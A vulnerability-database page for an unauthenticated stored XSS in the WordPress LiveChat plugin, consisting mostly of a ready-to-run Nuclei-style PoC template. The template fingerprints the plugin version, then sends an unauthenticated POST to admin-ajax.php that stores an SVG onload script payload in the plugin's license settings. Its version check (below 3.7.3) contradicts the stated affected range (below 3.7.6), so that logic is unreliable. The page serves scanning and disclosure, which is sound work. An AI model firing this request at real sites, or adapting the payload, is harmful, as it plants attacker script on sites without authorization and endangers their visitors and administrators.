wp-livechat-stored-xss: WordPress LiveChat < 3.7.6 - Unauthenticated Stored XSS

2026-05-19 WordPress LiveChat PoC Public

Description

WordPress LiveChat plugin before < 3.7.6 lacked CSRF and authorization checks on the option update handler in the LiveChatAdmin constructor. The code ran on any POST to a wp-admin URL without Referer validation, nonce check, or capability verification. This allowed unauthenticated attackers to update plugin settings.

PoC

id: wp-livechat-stored-xss

info:
  name: WordPress LiveChat < 3.7.6 - Unauthenticated Stored XSS
  author: 0x_Akoko
  severity: high
  description: |
    WordPress LiveChat plugin before < 3.7.6 lacked CSRF and authorization checks on the option update handler in the LiveChatAdmin constructor. The code ran on any POST to a wp-admin URL without Referer validation, nonce check, or capability verification. This allowed unauthenticated attackers to update plugin settings.
  reference:
    - https://wpscan.com/plugin/wp-live-chat-software-for-wordpress/
    - https://wordpress.org/plugins/wp-live-chat-software-for-wordpress
  metadata:
    verified: true
    max-request: 2
  tags: wpscan,wp,wp-plugin,wordpress,livechat,xss,stored-xss,unauth

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-live-chat-software-for-wordpress/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "LiveChat")'
          - 'compare_versions(version, "< 3.7.3")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        regex:
          - '(?i)Stable tag:\s*([\w.]+)'
        group: 1
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        licenseNumber=42&licenseEmail=%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 400
        condition: or

      - type: word
        part: body
        words:
          - "0"
# digest: 4b0a00483046022100cf50c1774739d7cf3fae7fed088faa026489dbdd436cac303e30206b3c659175022100ef95ddb4b907d204e3bf7d55825ab3d5682c0bc0e11f24e6aaa97dfb1d5ccbef:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities